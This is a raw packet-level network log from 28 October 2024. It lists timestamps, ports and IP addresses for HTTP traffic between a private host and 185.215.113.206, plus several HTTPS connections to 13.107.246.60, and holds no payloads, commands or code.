Oct 28, 2024 02:07:49.661664009 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.662641048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662653923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662667036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662676096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662688971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662697077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662707090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662733078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662741899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662744999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662761927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662777901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662790060 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662796974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662806034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662806988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662817955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662827969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662830114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662841082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662846088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662870884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662872076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662883043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662884951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662893057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662904024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662911892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662914991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662924051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662949085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662951946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662960052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662969112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.662988901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.662995100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663007021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663014889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663017035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663027048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663042068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663058043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663080931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663083076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663105965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663116932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663125992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663136959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663141966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663147926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663157940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663167000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663186073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663199902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663446903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663595915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663619995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663635015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663647890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663650036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663662910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663675070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663676977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663691044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663701057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663721085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663722992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663733959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663734913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663746119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663749933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663753033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663769007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663769007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663783073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663798094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663810968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663811922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663825989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.663842916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.663868904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664397001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664408922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664421082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664433002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664443970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664452076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664454937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664472103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664498091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664505005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664516926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664531946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664546013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664560080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664565086 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664572954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664585114 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664587021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664599895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664607048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664613008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664625883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664632082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664638996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664653063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664654970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664668083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664681911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664681911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664695978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664707899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664707899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664721966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664726019 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664735079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664748907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664752007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664762020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664774895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664783955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664788008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664794922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664802074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664815903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664824009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664828062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664840937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664848089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664855003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664863110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664869070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664881945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664891005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664895058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664906979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664916992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664918900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664932013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664932966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664947033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664954901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664958954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664973974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664974928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.664988041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.664990902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665002108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665003061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665015936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665030956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665030956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665045023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665057898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665060043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665070057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665071964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665085077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665090084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665098906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665108919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665112019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665126085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665129900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665139914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665153027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665158033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665164948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665178061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665188074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665190935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665199995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665204048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665215969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665229082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665230036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665241957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665254116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665266991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665280104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665292025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665292025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665302038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665338039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665349960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665368080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665376902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665399075 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665420055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665429115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665437937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665443897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665457964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665460110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665477991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665488005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665489912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665498972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665514946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665523052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665535927 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665539026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665549994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665549994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665560007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665561914 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665572882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665585995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665611982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665620089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665659904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665683031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665693998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665697098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665703058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665733099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665745020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665827036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665843964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665854931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665884972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665884972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665898085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665921926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665931940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665941954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.665965080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.665988922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.666404009 CET	50015	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.666433096 CET	443	50015	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.666582108 CET	50015	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.666768074 CET	50015	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.666779995 CET	443	50015	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.670538902 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.670629978 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.670725107 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.670763016 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.670783043 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.670795918 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.670802116 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.673017025 CET	50016	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.673054934 CET	443	50016	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.673158884 CET	50016	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.673310995 CET	50016	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.673326015 CET	443	50016	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.683417082 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.683515072 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.683619976 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.683655977 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.683655977 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.683670044 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.683680058 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.685772896 CET	50017	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.685800076 CET	443	50017	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.685905933 CET	50017	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.686012983 CET	50017	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.686023951 CET	443	50017	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.705895901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705909014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705920935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705930948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705941916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705951929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705951929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.705964088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705972910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705976963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.705981970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.705991983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.706033945 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.706053972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779450893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779460907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779470921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779511929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779516935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779525042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779535055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779563904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779577971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779596090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779617071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779625893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779654026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779664040 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779664993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779679060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779701948 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779733896 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779810905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779839039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779849052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779858112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779870987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779881954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779886961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779891014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.779920101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779930115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.779958010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780002117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780024052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780035019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780044079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780055046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780071020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780080080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780103922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780111074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780113935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780131102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780147076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780158043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780165911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780169964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780203104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780344963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780392885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780395985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780411005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780421019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780432940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780457973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780468941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780518055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780529022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780544043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780555010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780564070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780570030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780572891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780586004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780594110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780613899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780628920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780644894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780654907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780663013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780673981 CET	80	49967	185.215.113.206	192.168.2.6
